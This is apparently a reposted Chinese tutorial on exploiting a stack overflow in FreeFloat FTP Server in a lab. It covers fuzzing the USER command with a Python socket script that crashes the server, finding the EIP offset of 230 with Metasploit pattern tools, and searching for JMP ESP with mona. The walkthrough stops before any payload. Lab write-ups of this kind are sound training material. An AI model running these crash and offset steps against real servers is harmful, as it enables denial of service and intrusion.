Python渗透测试编程技术——漏洞渗透模块

漏洞渗透模块

  • 一、测试软件的溢出漏洞
    • 栈溢出漏洞发现
    • 自行构造数据包加大字符串的数量
  • 二、计算软件溢出的偏移地址
      • 显示软件FreeFloat FTP Server执行到地址“41414141”处时就无法再继续进行
  • 三、查找JMP ESP指令

一、测试软件的溢出漏洞

栈溢出漏洞发现

  1. FreeFloat FTP Server会在运行的主机上建立一个FTP,主机192.168.0.116的C盘中运行FTP软件,在另一计算机中可使用FTP下载工具或命令方式进行访问。
    (使用 FreeFloat FTP Server服务器对登录没有任何限制,输入任意用户名和密码都可登录)Python渗透测试编程技术——漏洞渗透模块_第1张图片
  2. 输入数百个“a”用户名,尝试使用一个特别长的字符串作为用户名,来看在用户名输入的位置是否存在溢出的漏洞。Python渗透测试编程技术——漏洞渗透模块_第2张图片
  3. 再尝试输入更多的“a”作为用户名Python渗透测试编程技术——漏洞渗透模块_第3张图片
    目标系统仍然正常出现了输入密码的界面,可见系统没有崩溃。
  4. 打开WireShark来捕获此次登录的数据包
    Python渗透测试编程技术——漏洞渗透模块_第4张图片

发现:实际上发送出去数据包中的字符“a”的数量并没有那么多,无论在登录用户名时输入多么长的用户名,而实际上发送出去的只有 78 个“a”。
显然这个长度的字符是无法引起溢出的。

自行构造数据包加大字符串的数量

  1. 编写一个可以自动连接到FreeFloat FTP Server的客户端脚本,先来建立一个到FreeFloat FTP Server的连接
      
    导入需要使用的socket库:
    import socket

    创建一个socket套接字:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    利用套接字建立到目标的连接:
    connect=s.connect((‘192.168.16.136’,21))
    在这里插入图片描述
  2. 建立到目标主机21端口的连接,FTP的连接需要向目标服务器提供一个用户名和一个密码认证。
    FreeFloat FTP Server 用户名的输入作为渗透测试切入点,输入用户名时,输入成百上千的字符,同时观察目标服务器的反应来检查这个软件是否存在栈溢出的现象。Python渗透测试编程技术——漏洞渗透模块_第5张图片
  3. 使用socket套接字中的send()方法可以将一个字符串以数据包的形式发送出去,这里面以成百上千的“A”作为用户名。
    s.send(‘USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n’.encode())

    将这个数据包发送到目标FTP服务器上,可以看到这个FTP服务器工具崩溃了.Python渗透测试编程技术——漏洞渗透模块_第6张图片

二、计算软件溢出的偏移地址

显示软件FreeFloat FTP Server执行到地址“41414141”处时就无法再继续进行

Python渗透测试编程技术——漏洞渗透模块_第7张图片

借助 Metasploit 中内置的两个工具pattern_create和pattern_offset来完成这个任务

  1. 动Kali虚拟机,打开一个终端,然后切换到Metasploit的目录:
    root@kali:cd /usr/share/metasploit-framework/tools/exploit

    root@kali:cd /usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -h
    Python渗透测试编程技术——漏洞渗透模块_第8张图片
    生成一段500个字符的文本Python渗透测试编程技术——漏洞渗透模块_第9张图片
  2. root@karl:~/桌面# python test.py

    FreeFloat FTP Server软件再次崩溃
    Python渗透测试编程技术——漏洞渗透模块_第10张图片

pattern_create.rb:Python渗透测试编程技术——漏洞渗透模块_第11张图片
3. root@kali:cd /usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -h
Python渗透测试编程技术——漏洞渗透模块_第12张图片
4. 向目标发送能够导致系统溢出到EIP的数据,之前已经计算出EIP的偏移量是230,那么现在提供了230个字符“A”即可,之后就是4个“B”Python渗透测试编程技术——漏洞渗透模块_第13张图片Python渗透测试编程技术——漏洞渗透模块_第14张图片

三、查找JMP ESP指令

在这里插入图片描述Python渗透测试编程技术——漏洞渗透模块_第15张图片

  1. 使用Immunity Debugger,借助Mona.py插件完成任务。
    命令:!mona
    Python渗透测试编程技术——漏洞渗透模块_第16张图片

  2. 查找“JMP ESP”命令:!mona jmp -r esp
    Python渗透测试编程技术——漏洞渗透模块_第17张图片

你可能感兴趣的:(Python渗透测试编程技术——漏洞渗透模块)